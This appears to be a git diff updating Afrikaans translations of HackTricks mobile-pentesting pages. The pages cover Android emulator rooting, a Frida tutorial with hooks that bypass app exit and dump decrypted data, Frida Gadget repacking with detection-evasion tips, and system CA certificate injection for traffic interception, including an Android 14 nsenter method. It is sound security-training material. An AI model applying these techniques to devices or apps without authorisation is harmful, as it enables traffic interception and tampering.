-- `-selinux {disabled|permissive}` : Stel die Security-Enhanced Linux sekuriteitsmodule in op óf disabled óf permissive modus op 'n Linux-bedryfstelsel.
+- `-selinux {disabled|permissive}` : Stel die Security-Enhanced Linux sekuriteitsmodule op 'n Linux-bedryfstelsel.
 - `-timezone Europe/Paris` : Stel die tydsone vir die virtuele toestel
 - `-screen {touch(default)|multi-touch|o-touch}` : Stel die geëmuleerde raakskermmodus in.
-- **`-writable-system`** : Gebruik hierdie opsie om 'n beskryfbare stelselbeeld gedurende jou emulasiesessie te hê. Jy sal ook `adb root; adb remount` moet uitvoer. Dit is baie handig om 'n nuwe sertifikaat in die stelsel te installeer.
+- **`-writable-system`** : Gebruik hierdie opsie om 'n skryfbare stelselbeeld tydens jou emulasiesessie te hê. Jy sal ook moet `adb root; adb remount`. Dit is baie nuttig om 'n nuwe sertifikaat in die stelsel te installeer.
 
-## Linux CLI-opstelling (SDK/AVD snelbegin)
+## Linux CLI setup (SDK/AVD quickstart)
 
-Die amptelike CLI-gereedskap maak dit maklik om vinnige, debugbare emulators te skep sonder Android Studio.
+Die amptelike CLI-instrumente maak dit maklik om vinnige, ontfoutbare emulators te skep sonder Android Studio.
 ```bash
 # Directory layout
 mkdir -p ~/Android/cmdline-tools/latest
@@ -216,9 +217,9 @@ adb root
 adb shell whoami  # expect: root
 ```
 Aantekeninge
-- Stelselbeeld-variante: google_apis (debuggable, laat `adb root` toe), google_apis_playstore (nie rootbaar nie), aosp/default (liggewig).
-- Bou-tipes: userdebug laat dikwels `adb root` toe op debug-geskikte beelde. Play Store images is produksie-boude en blokkeer root.
-- Op x86_64-gashere word volstelsel ARM64-emulasie nie ondersteun vanaf API 28+ nie. Vir Android 11+ gebruik Google APIs/Play images wat per-app ARM-to-x86 translation insluit om baie ARM-only apps vinnig te laat loop.
+- Stelselbeeld-variante: google_apis (debuggable, laat `adb root` toe), google_apis_playstore (nie-rootbaar nie), aosp/default (liggewig).
+- Bouwtipes: userdebug laat dikwels `adb root` toe op debug-ondersteunende images. Play Store images is produksie-boues en blokkeer root.
+- Op x86_64-gashere is volstelsels ARM64-emulasie nie ondersteun vanaf API 28+ nie. Vir Android 11+ gebruik Google APIs/Play images wat per-app ARM-na-x86-vertaling insluit om baie ARM-only apps vinnig te laat loop.
 
 ### Snapshots vanaf die CLI
 ```bash
@@ -228,39 +229,39 @@ adb -s emulator-5554 emu avd snapshot save my_clean_setup
 # Boot from a named snapshot (if it exists)
 emulator -avd PixelRootX86 -writable-system -snapshot my_clean_setup
 ```
-## ARM→x86 binaire vertaling (Android 11+)
+## ARM→x86 binary translation (Android 11+)
 
-Google APIs en Play Store images op Android 11+ kan ARM-app-binaries per proses vertaal terwyl die res van die stelsel inheemse x86/x86_64 bly. Dit is dikwels vinnig genoeg om baie ARM-only apps op 'n lessenaar te toets.
+Google APIs en Play Store-images op Android 11+ kan ARM-app-binaire per proses vertaal terwyl die res van die stelsel native x86/x86_64 bly. Dit is dikwels vinnig genoeg om baie slegs-ARM-apps op 'n lessenaar te toets.
 
-> Wenk: Gebruik voorkeurlik Google APIs x86/x86_64 images tydens pentests. Play images is gerieflik maar blokkeer `adb root`; gebruik dit slegs wanneer jy spesifiek Play services benodig en die gebrek aan root aanvaar.
+> Tip: Verkies Google APIs x86/x86_64-images tydens pentests. Play-images is gerieflik maar blokkeer `adb root`; gebruik hulle slegs wanneer jy spesifiek Play services benodig en die gebrek aan root aanvaar.
 
 ## Rooting a Play Store device
 
-As jy 'n toestel met Play Store afgelaai het, gaan jy nie direk root kan kry nie, en jy sal hierdie foutboodskap kry
+If you downloaded a device with Play Store you are not going to be able to get root directly, and you will get this error message
 ```
 $ adb root
 adbd cannot run as root in production builds
 ```
-Deur [rootAVD](https://github.com/newbit1/rootAVD) saam met [Magisk](https://github.com/topjohnwu/Magisk) te gebruik, kon ek dit root (volg byvoorbeeld [**this video**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) **of** [**this one**](https://www.youtube.com/watch?v=qQicUW0svB8)).
+Deur [rootAVD](https://github.com/newbit1/rootAVD) met [Magisk](https://github.com/topjohnwu/Magisk) te gebruik, kon ek dit root (volg byvoorbeeld [**this video**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) of [**this one**](https://www.youtube.com/watch?v=qQicUW0svB8)).
 
-## Installeer Burp-sertifikaat
+## Installeer Burp Sertifikaat
 
-Kyk na die volgende bladsy om te leer hoe om 'n pasgemaakte CA-sertifikaat te installeer:
+Kyk na die volgende bladsy om te leer hoe om 'n pasgemaakte CA cert te installeer:
 
 
 {{#ref}}
 install-burp-certificate.md
 {{#endref}}
 
-## Goeie AVD-opsies
+## Nuttige AVD-opties
 
 ### Neem 'n Snapshot
 
-Jy kan **use the GUI** gebruik om op enige tyd 'n snapshot van die VM te neem:
+Jy kan **die GUI gebruik** om te eniger tyd 'n snapshot van die VM te neem:
 
 ![](<../../images/image (234).png>)
 
-## Verwysings
+## References
 
 - [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools)
 - [Android Emulator command line](https://developer.android.com/studio/run/emulator-commandline)
diff --git a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md
index d74667938..faf522424 100644
--- a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md
+++ b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md
@@ -10,8 +10,8 @@ Installeer **frida tools**:
 pip install frida-tools
 pip install frida
 ```
-**Laai af en installeer** op die Android-toestel die **frida server** ([Download the latest release](https://github.com/frida/frida/releases)).\
-Eenreël-opdrag om adb in root-modus te herbegin, daaraan te koppel, frida-server op te laai, exec permissions te gee en dit in die agtergrond te laat loop:
+**Laai af en installeer** in die android die **frida server** ([Download the latest release](https://github.com/frida/frida/releases)).\
+Eenreël-opdrag om adb in root mode te herbegin, daaraan te koppel, frida-server op te laai, exec permissions te gee en dit in die agtergrond te laat loop:
 ```bash
 adb root; adb connect localhost:6000; sleep 1; adb push frida-server /data/local/tmp/; adb shell "chmod 755 /data/local/tmp/frida-server"; adb shell "/data/local/tmp/frida-server &"
 ```
@@ -22,10 +22,10 @@ frida-ps -U | grep -i <part_of_the_package_name> #Get all the package name
 ```
 ## Frida server vs. Gadget (root vs. no-root)
 
-Twee algemene maniere om Android apps met Frida te instrumenteer:
+Twee algemene maniere om Android-apps met Frida te instrumenteer:
 
 - Frida server (rooted devices): Stoot en voer 'n inheemse daemon uit wat jou toelaat om aan enige proses te koppel.
-- Frida Gadget (no root): Bundel Frida as 'n gedeelde biblioteek binne die APK en laai dit outomaties in die teikenproses.
+- Frida Gadget (no root): Bundel Frida as 'n gedeelde biblioteek binne die APK en laai dit outomaties binne die teikenproses.
 
 Frida server (rooted)
 ```bash
@@ -42,9 +42,9 @@ frida -U -n com.example.app
 ```
 Frida Gadget (no-root)
 
-1) Pak die APK uit, voeg die gadget .so en konfigurasie by:
-- Plaas libfrida-gadget.so in lib/<abi>/ (bv., lib/arm64-v8a/)
-- Skep assets/frida-gadget.config met jou script-laaistellings
+1) Pak die APK uit, voeg die gadget .so en config by:
+- Place libfrida-gadget.so into lib/<abi>/ (e.g., lib/arm64-v8a/)
+- Skep assets/frida-gadget.config met jou script laai-instellings
 
 Voorbeeld frida-gadget.config
 ```json
@@ -53,8 +53,8 @@ Voorbeeld frida-gadget.config
 "runtime": { "logFile": "/sdcard/frida-gadget.log" }
 }
 ```
-2) Verwys/laai die gadget sodat dit vroeg geïnitialiseer word:
-- Maklikste: Voeg 'n klein Java-stub by System.loadLibrary("frida-gadget") in Application.onCreate(), of gebruik die reeds bestaande native lib loading.
+2) Verwys/laai die gadget sodat dit vroeg geïnisialiseer word:
+- Die maklikste: Voeg 'n klein Java-stub by wat System.loadLibrary("frida-gadget") in Application.onCreate() aanroep, of gebruik die native lib loading wat reeds teenwoordig is.
 
 3) Herpak en teken die APK, en installeer dit dan:
 ```bash
@@ -64,40 +64,40 @@ apktool b app_m -o app_gadget.apk
 uber-apk-signer -a app_gadget.apk -o out_signed
 adb install -r out_signed/app_gadget-aligned-debugSigned.apk
 ```
-4) Koppel vanaf host na die gadget-proses:
+4) Koppel van gasheer na die gadget-proses:
 ```bash
 frida-ps -Uai
 frida -U -n com.example.app
 ```
 Aantekeninge
 - Gadget word deur sommige beskermings opgespoor; hou name/paaie onopvallend en laai laat/voorwaardelik indien nodig.
-- By geharde apps, verkies rooted testing met server + late attach, of kombineer met Magisk/Zygisk verberging.
+- By geharde apps, verkies rooted testing met server + late attach, of kombineer dit met Magisk/Zygisk hiding.
 
 ## Handleidings
 
-### [Handleiding 1](frida-tutorial-1.md)
+### [Tutorial 1](frida-tutorial-1.md)
 
-**Van**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\
+**Bron**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\
 **APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\
-**Bronkode**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo)
+**Source Code**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo)
 
-**Volg die [skakel om dit te lees](frida-tutorial-1.md).**
+**Volg die [link to read it](frida-tutorial-1.md).**
 
-### [Handleiding 2](frida-tutorial-2.md)
+### [Tutorial 2](frida-tutorial-2.md)
 
-**Van**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Dele 2, 3 & 4)\
-**APKs en Bronkode**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
+**Bron**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Dele 2, 3 & 4)\
+**APKs and Source code**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
 
-**Volg die [skakel om dit te lees](frida-tutorial-2.md).**
+**Volg die[ link to read it.](frida-tutorial-2.md)**
 
-### [Handleiding 3](owaspuncrackable-1.md)
+### [Tutorial 3](owaspuncrackable-1.md)
 
-**Van**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\
+**Bron**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\
 **APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk)
 
-**Volg die [skakel om dit te lees](owaspuncrackable-1.md).**
+**Volg die [link to read it](owaspuncrackable-1.md).**
 
-**Jy kan meer Awesome Frida-skripte hier vind:** [**https://codeshare.frida.re/**](https://codeshare.frida.re)
+**Jy kan meer Awesome Frida scripts hier vind:** [**https://codeshare.frida.re/**](https://codeshare.frida.re)
 
 ## Vinnige Voorbeelde
 
@@ -114,7 +114,7 @@ frida -U --no-pause -l disableRoot.js -f owasp.mstg.uncrackable1
 #frozen so that the instrumentation can occur, and the automatically
 #continue execution with our modified code.
 ```
-### Basiese Python-skrip
+### Basiese Python Skrip
 ```python
 import frida, sys
 
@@ -144,7 +144,7 @@ sysexit.exit.overload("int").implementation = function (var_0) {
 send("java.lang.System.exit(I)V  // We avoid exiting the application  :)")
 }
 ```
-Hook MainActivity `.onStart()` en `.onCreate()`
+Hook MainActivity `.onStart()` & `.onCreate()`
 ```javascript
 var mainactivity = Java.use("sg.vantagepoint.uncrackable1.MainActivity")
 mainactivity.onStart.overload().implementation = function () {
@@ -168,9 +168,9 @@ send("Activity HIT!!!")
 var ret = this.onCreate.overload("android.os.Bundle").call(this, var_0)
 }
 ```
-### Hooking funksies met parameters en die waarde terugkry
+### Hooking funksies met parameters en die waarde ophaal
 
-Hooking 'n decryption function. Druk die input, roep die oorspronklike funksie aan om die input te decrypt en uiteindelik druk die plain data uit:
+Hooking van 'n decryption-funksie. Druk die input, roep die oorspronklike funksie aan om die input te decrypt, en druk uiteindelik die plain data:
 ```javascript
 function getString(data) {
 var ret = ""
@@ -195,7 +195,7 @@ send("Decrypted flag: " + flag)
 return ret //[B
 }
 ```
-### Hooking funksies en hulle aanroep met ons inset
+### Hooking van funksies en hulle aanroep met ons inset
 
 Hook 'n funksie wat 'n string ontvang en roep dit aan met 'n ander string (van [here](https://11x256.github.io/Frida-hooking-android-part-2/))
 ```javascript
@@ -210,11 +210,11 @@ console.log("Return value: " + ret)
 return ret
 }
 ```
-### Kry 'n reeds geskepte objek van 'n klas
+### Kry 'n reeds geskepte object van 'n class
 
-As jy 'n attribuut van 'n geskepte objek wil uittrek, kan jy dit gebruik.
+As jy 'n attribute van 'n reeds geskepte object wil uittrek, kan jy dit so gebruik.
 
-In hierdie voorbeeld gaan jy sien hoe om die objek van die klas my_activity te kry en hoe om die funksie .secret() aan te roep wat 'n privaat attribuut van die objek sal afdruk:
+In hierdie voorbeeld gaan jy sien hoe om die object van die class my_activity te kry en hoe om die function .secret() aan te roep wat 'n private attribute van die object sal afdruk:
 ```javascript
 Java.choose("com.example.a11x256.frida_test.my_activity", {
 onMatch: function (instance) {
@@ -225,7 +225,7 @@ console.log("Result of secret func: " + instance.secret())
 onComplete: function () {},
 })
 ```
-## Ander Frida-handleidings
+## Ander Frida-tutoriale
 
 - [https://github.com/DERE-ad2001/Frida-Labs](https://github.com/DERE-ad2001/Frida-Labs)
 - [Part 1 of Advanced Frida Usage blog series: IOS Encryption Libraries](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/)
@@ -233,8 +233,8 @@ onComplete: function () {},
 
 ## Verwysings
 
-- [Bou 'n herhaalbare Android Bug Bounty-lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools)
-- [Frida Gadget dokumentasie](https://frida.re/docs/gadget/)
-- [Frida vrystellings (server binaries)](https://github.com/frida/frida/releases)
+- [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools)
+- [Frida Gadget documentation](https://frida.re/docs/gadget/)
+- [Frida releases (server binaries)](https://github.com/frida/frida/releases)
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md b/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md
index d57b9d277..aab5cf44b 100644
--- a/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md
+++ b/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md
@@ -5,7 +5,7 @@
 
 ## Stelselwye proxy via ADB
 
-Konfigureer 'n globale HTTP proxy sodat alle apps verkeer deur jou interceptor (Burp/mitmproxy) stuur:
+Konfigureer 'n globale HTTP-proxy sodat alle apps verkeer deur jou interceptor (Burp/mitmproxy) gaan:
 ```bash
 # Set proxy (device/emulator must reach your host IP)
 adb shell settings put global http_proxy 192.168.1.2:8080
@@ -13,20 +13,20 @@ adb shell settings put global http_proxy 192.168.1.2:8080
 # Clear proxy
 adb shell settings put global http_proxy :0
 ```
-Wenk: In Burp bind jou luisteraar aan 0.0.0.0 sodat toestelle op die LAN kan koppel (Proxy -> Options -> Proxy Listeners).
+Tip: In Burp bind jou listener aan 0.0.0.0 sodat toestelle op die LAN kan koppel (Proxy -> Options -> Proxy Listeners).
 
 ## Op 'n Virtuele Masjien
 
-Eerstens moet jy die Der-sertifikaat vanaf Burp aflaai. Jy kan dit doen in _**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_
+Eerstens moet jy die Der certificate van Burp aflaai. Jy kan dit doen in _**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_
 
 ![](<../../images/image (367).png>)
 
-**Voer die sertifikaat uit in Der-formaat** en kom ons **transformeer** dit na 'n formaat wat **Android** gaan kan **begryp.** Let op dat **om die Burp-sertifikaat op die Android-masjien in AVD te konfigureer** jy hierdie masjien **met** die **`-writable-system`** opsie moet **begin.**\
-Byvoorbeeld kan jy dit so begin:
+**Export the certificate in Der format** en kom ons **transformeer** dit na 'n vorm wat **Android** gaan kan **begryp.** Neem kennis dat **in order to configure the burp certificate on the Android machine in AVD** jy hierdie masjien moet **run** **with** die **`-writable-system`** opsie.\
+Byvoorbeeld kan jy dit soos volg begin:
 ```bash
 C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system
 ```
-Dan, om **die Burp-sertifikaat te konfigureer**, doen:
+Dan, om **burps sertifikaat te konfigureer, doen**:
 ```bash
 openssl x509 -inform DER -in burp_cacert.der -out burp_cacert.pem
 CERTHASHNAME="`openssl x509 -inform PEM -subject_hash_old -in burp_cacert.pem | head -1`.0"
@@ -37,15 +37,15 @@ adb shell mv /sdcard/$CERTHASHNAME /system/etc/security/cacerts/ #Move to correc
 adb shell chmod 644 /system/etc/security/cacerts/$CERTHASHNAME #Assign privileges
 adb reboot #Now, reboot the machine
 ```
-Sodra die **masjien klaar herlaai is** sal die Burp-sertifikaat deur dit gebruik word!
+Sodra die **masjien klaar herbegin het** sal die Burp-sertifikaat deur dit gebruik word!
 
-## Gebruik van Magisc
+## Using Magisc
 
-As jy **jou toestel met Magisc geroot het** (miskien 'n emulator), en jy **kan nie** die vorige **stappe** volg om die Burp-sertifikaat te installeer omdat die **lêerstelsel slegs-lees** is en jy dit nie kan remount om dit skryfbaar te maak nie, is daar 'n ander manier.
+As jy jou toestel **met Magisc geroot** het (miskien 'n emulator), en jy **kan nie** die vorige **stappe** volg om die Burp-sertifikaat te installeer omdat die **lêerstelsel is read-only** en jy dit nie na skryfbaar kan heraanmerk nie, is daar 'n ander manier.
 
-In [**hierdie video**](https://www.youtube.com/watch?v=qQicUW0svB8) word dit verduidelik: jy moet:
+Soos verduidelik in [**this video**](https://www.youtube.com/watch?v=qQicUW0svB8) moet jy:
 
-1. **Installeer 'n CA certificate**: Net **drag&drop** die DER Burp-sertifikaat en **verander die uitbreiding** na `.crt` op die toestel sodat dit in die Downloads folder gestoor word en gaan na `Install a certificate` -> `CA certificate`
+1. **Install a CA certificate**: Just **drag&drop** the DER Burp certificate **changing the extension** to `.crt` in the mobile so it's stored in the Downloads folder and go to `Install a certificate` -> `CA certificate`
 
 <figure><img src="../../images/image (53).png" alt="" width="164"><figcaption></figcaption></figure>
 
@@ -53,27 +53,27 @@ In [**hierdie video**](https://www.youtube.com/watch?v=qQicUW0svB8) word dit ver
 
 <figure><img src="../../images/image (54).png" alt="" width="334"><figcaption></figcaption></figure>
 
-2. **Maak dit System trusted**: Laai die Magisc-module [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (ʼn .zip-lêer) af, **drag&drop dit** in die telefoon, gaan na die **Magics app** op die telefoon na die **`Modules`**-afdeling, klik op **`Install from storage`**, kies die `.zip`-module en sodra dit geïnstalleer is **herbegin** die telefoon:
+2. **Make it System trusted**: Download the Magisc module [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (a .zip file), **drag&drop it** in the phone, go to the **Magics app** in the phone to the **`Modules`** section, click on **`Install from storage`**, select the `.zip` module and once installed **reboot** the phone:
 
 <figure><img src="../../images/image (55).png" alt="" width="345"><figcaption></figcaption></figure>
 
-- Nadat jy herbegin het, gaan na `Trusted credentials` -> `SYSTEM` en kontroleer dat die Postswigger-sertifikaat daar is
+- Na die herbegin, gaan na `Trusted credentials` -> `SYSTEM` en kontroleer of die Postswigger-sertifikaat daar is
 
 <figure><img src="../../images/image (56).png" alt="" width="314"><figcaption></figcaption></figure>
 
-### Leer hoe om 'n Magisc-module te skep
+### Learn how to create a Magisc module
 
-Kyk na [https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437](https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437)
+Check [https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437](https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437)
 
-## Na Android 14
+## Post Android 14
 
-In die nuutste Android 14-uitgawe is daar 'n beduidende verandering waargeneem in die hantering van system-trusted Certificate Authority (CA) certificates. Voorheen is hierdie sertifikate bewaar in **`/system/etc/security/cacerts/`**, toeganklik en wysigbaar vir gebruikers met root-regte, wat onmiddellike toepassing deur die stelsel toegelaat het. Met Android 14 is die stoorplek egter verskuif na **`/apex/com.android.conscrypt/cacerts`**, 'n gids binne die **`/apex`**-pad, wat inherente onveranderlikheid het.
+In die nuutste Android 14 vrystelling is daar 'n beduidende verskuiwing in die hantering van stelsel-vertroude Certificate Authority (CA) sertifikate. Voorheen is hierdie sertifikate in **`/system/etc/security/cacerts/`** gehou, toeganklik en veranderbaar deur gebruikers met root-regte, wat onmiddellike toepassing oor die stelsel toegelaat het. Met Android 14 is die stoorplek egter verskuif na **`/apex/com.android.conscrypt/cacerts`**, 'n gids binne die **`/apex`**-pad, wat van aard onveranderlik is.
 
-Pogings om die **APEX cacerts path** as skryfbaar te remount misluk, aangesien die stelsel sulke operasies nie toelaat nie. Selfs pogings om die gids te unmount of te oorlaai met 'n tydelike lêerstelsel (tmpfs) om die onveranderlikheid te omseil, omseil dit nie die probleem nie; toepassings bly steeds toegang tot die oorspronklike sertifikaatdata hê ongeag veranderinge op die lêerstelselvlak. Hierdie veerkragtigheid is te danke aan die feit dat die **`/apex`**-mount geconfigureer is met PRIVATE propagation, wat verseker dat enige wysigings binne die **`/apex`**-gids nie ander prosesse beïnvloed nie.
+Pogings om die **APEX cacerts path** as skryfbaar te heraanmerk misluk, aangesien die stelsel sulke bewerkings nie toelaat nie. Selfs pogings om die gids te unmount of met 'n tydelike lêerstelsel (tmpfs) te oorlaai om die onveranderlikheid te omseil, werk nie; toepassings bly die oorspronklike sertifikaatdata benader ongeag veranderinge op die lêerstelselvlak. Hierdie veerkragtigheid is te wyte aan die feit dat die **`/apex`**-mount gekonfigureer is met PRIVATE propagation, wat verseker dat enige wysigings binne die **`/apex`**-gids nie ander prosesse beïnvloed nie.
 
-Die initialisering van Android behels die `init`-proses wat, by die begin van die bedryfstelsel, ook die Zygote-proses inisieer. Hierdie proses is verantwoordelik vir die bekendstelling van toepassingsprosesse met 'n nuwe mount namespace wat 'n private **`/apex`**-mount insluit, en sodoende veranderinge aan hierdie gids van ander prosesse isoleer.
+Die inisialisering van Android behels die `init`-proses wat, wanneer die bedryfstelsel begin, ook die Zygote-proses inisieer. Hierdie proses is verantwoordelik vir die loods van toepassingsprosesse met 'n nuwe mount namespace wat 'n private **`/apex`**-mount insluit, en sodoende veranderinge aan hierdie gids van ander prosesse isoleer.
 
-Nietemin bestaan daar 'n ompad vir diegene wat die system-trusted CA-sertifikate binne die **`/apex`**-gids moet wysig. Dit behels handmatige remounting van **`/apex`** om die PRIVATE propagation te verwyder, sodat dit skryfbaar word. Die proses sluit in om die inhoud van **`/apex/com.android.conscrypt`** na 'n ander ligging te kopieer, die **`/apex/com.android.conscrypt`**-gids te unmount om die lees-alleen-beperking te verwyder, en dan die inhoud terug te plaas na hul oorspronklike ligging binne **`/apex`**. Hierdie benadering vereis vinnige optrede om stelselbotsings te voorkom. Om stelselwye toepassing van hierdie veranderinge te verseker, word dit aanbeveel om die `system_server` te herbegin, wat effektief alle toepassings herbegin en die stelsel na 'n konsekwente toestand bring.
+Nietemin bestaan daar 'n workaround vir dié wat die stelsel-vertroude CA-sertifikate binne die **`/apex`**-gids wil wysig. Dit behels die handmatige heraanmerking van **`/apex`** om die PRIVATE propagation te verwyder, sodat dit skryfbaar word. Die proses sluit in om die inhoud van **`/apex/com.android.conscrypt`** na 'n ander ligging te kopieer, die **`/apex/com.android.conscrypt`**-gids te unmount om die read-only beperking op te hef, en daarna die inhoud terug te sit na hul oorspronklike ligging binne **`/apex`**. Hierdie benadering vereis vinnige optrede om stelselbotsings te vermy. Om te verseker dat die veranderinge stelselwyd toegepas word, word dit aanbeveel om die `system_server` te herbegin, wat effektief alle toepassings herbegin en die stelsel na 'n konsekwente toestand bring.
 ```bash
 # Create a separate temp directory, to hold the current certificates
 # Otherwise, when we add the mount we can't read the current certs anymore.
@@ -133,24 +133,24 @@ echo "System certificate injected"
 ```
 ### Bind-mounting deur NSEnter
 
-1. **Opstel van 'n Skryfbare Gids**: Aanvanklik word 'n skryfbare gids geskep deur 'n `tmpfs` oor die bestaande non-APEX stelselsertifikaatgids te mount. Dit word bereik met die volgende opdrag:
+1. **Opstel van 'n Skryfbare Gids**: Aanvanklik word 'n skryfbare gids geskep deur 'n `tmpfs` oor die bestaande non-APEX stelsel sertifikaatgids te mount. Dit word bereik met die volgende opdrag:
 ```bash
 mount -t tmpfs tmpfs /system/etc/security/cacerts
 ```
-2. **Voorbereiding van CA-sertifikate**: Nadat die skryfbare gids opgestel is, moet die CA-sertifikate wat gebruik gaan word in hierdie gids gekopieer word. Dit kan insluit om die standaardsertifikate vanaf `/apex/com.android.conscrypt/cacerts/` te kopieer. Dit is noodsaaklik om die toegangsregte en SELinux-etikette van hierdie sertifikate ooreenkomstig aan te pas.
-3. **Bind-mounting vir Zygote**: Deur `nsenter` te gebruik, betree mens Zygote se mount-naamruimte. Zygote, die proses wat verantwoordelik is vir die opstart van Android-toepassings, vereis hierdie stap om te verseker dat alle toepassings wat van nou af begin die nuut gekonfigureerde CA-sertifikate gebruik. Die opdrag wat gebruik word, is:
+2. **Voorbereiding van CA certificates**: Na die opstel van die skryfbare gids moet die CA certificates wat jy wil gebruik na hierdie gids gekopieer word. Dit kan behels dat jy die standaard sertifikate van `/apex/com.android.conscrypt/cacerts/` kopieer. Dit is noodsaaklik om die toestemmings en SELinux-labels van hierdie sertifikate dienooreenkomstig aan te pas.
+3. **Bind Mounting vir Zygote**: Deur `nsenter` te gebruik, betree 'n mens Zygote se mount namespace. Zygote, die proses wat verantwoordelik is vir die begin van Android-toepassings, vereis hierdie stap om te verseker dat alle toepassings wat van nou af begin die nuut gekonfigureerde CA certificates gebruik. Die opdrag wat gebruik word is:
 ```bash
 nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
 ```
-Dit verseker dat elke nuwe app wat begin die opgedateerde CA certificates-opstelling sal toepas.
+Dit verseker dat elke nuwe app wat begin, die opgedateerde CA certificates-opstelling sal volg.
 
-4. **Toepassing van veranderinge op lopende apps**: Om die veranderinge op reeds lopende apps toe te pas, word `nsenter` weer gebruik om in elke app se namespace afsonderlik in te gaan en 'n soortgelyke bind mount uit te voer. Die nodige opdrag is:
+4. **Wysigings op lopende apps toepas**: Om die wysigings op reeds lopende apps toe te pas, word `nsenter` weer gebruik om elke app se namespace individueel binne te gaan en 'n soortgelyke bind mount uit te voer. Die nodige opdrag is:
 ```bash
 nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
 ```
-5. **Alternative Approach - Soft Reboot**: 'n Alternatiewe metode behels die uitvoer van die bind mount op die `init` proses (PID 1), gevolg deur 'n soft reboot van die bedryfstelsel met die `stop && start` opdragte. Hierdie benadering sal die veranderinge oor alle namespaces versprei, sodat dit nie nodig is om elke lopende app afsonderlik aan te spreek nie. Hierdie metode word egter oor die algemeen minder verkies weens die ongerief van herbegin.
+5. **Alternatiewe benadering - Sagte herbegin**: 'n Alternatiewe metode behels om die bind mount op die `init`-proses (PID 1) uit te voer, gevolg deur 'n sagte herbegin van die bedryfstelsel met die `stop && start`-kommando's. Hierdie benadering sal die veranderinge oor alle namespaces toepas, en die behoefte om elke lopende app individueel aan te spreek, vermy. Hierdie metode is egter oor die algemeen minder verkies weens die ongerief van herbegin.
 
-## Verwysings
+## References
 
 - [Android 14: Install a system CA certificate on a rooted device](https://httptoolkit.com/blog/android-14-install-system-ca-certificate/)
 - [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools)
diff --git a/src/network-services-pentesting/pentesting-smb/README.md b/src/network-services-pentesting/pentesting-smb/README.md
index 92cb00867..1604592a2 100644
--- a/src/network-services-pentesting/pentesting-smb/README.md
+++ b/src/network-services-pentesting/pentesting-smb/README.md
@@ -2,46 +2,45 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## **Port 139**
+## **Poort 139**
 
-Die _**Network Basic Input Output System**_** (NetBIOS)** is 'n sagtewareprotokol wat ontwerp is om toepassings, rekenaars en desktops binne 'n plaaslike netwerk (LAN) in staat te stel om met netwerkhardware te kommunikeer en **die oordrag van data oor die netwerk te vergemaklik**. Die identifikasie en ligging van sagtewaretoepassings wat op 'n NetBIOS-netwerk werk, word bewerkstellig deur hul NetBIOS-name, wat tot 16 karakters lank kan wees en dikwels verskil van die rekenaarnaam. 'n NetBIOS-sessie tussen twee toepassings word geïnisieer wanneer een toepassing (wat as die kliënt optree) 'n opdrag gee om 'n ander toepassing (wat as die bediener optree) te "call" deur gebruik te maak van **TCP Port 139**.
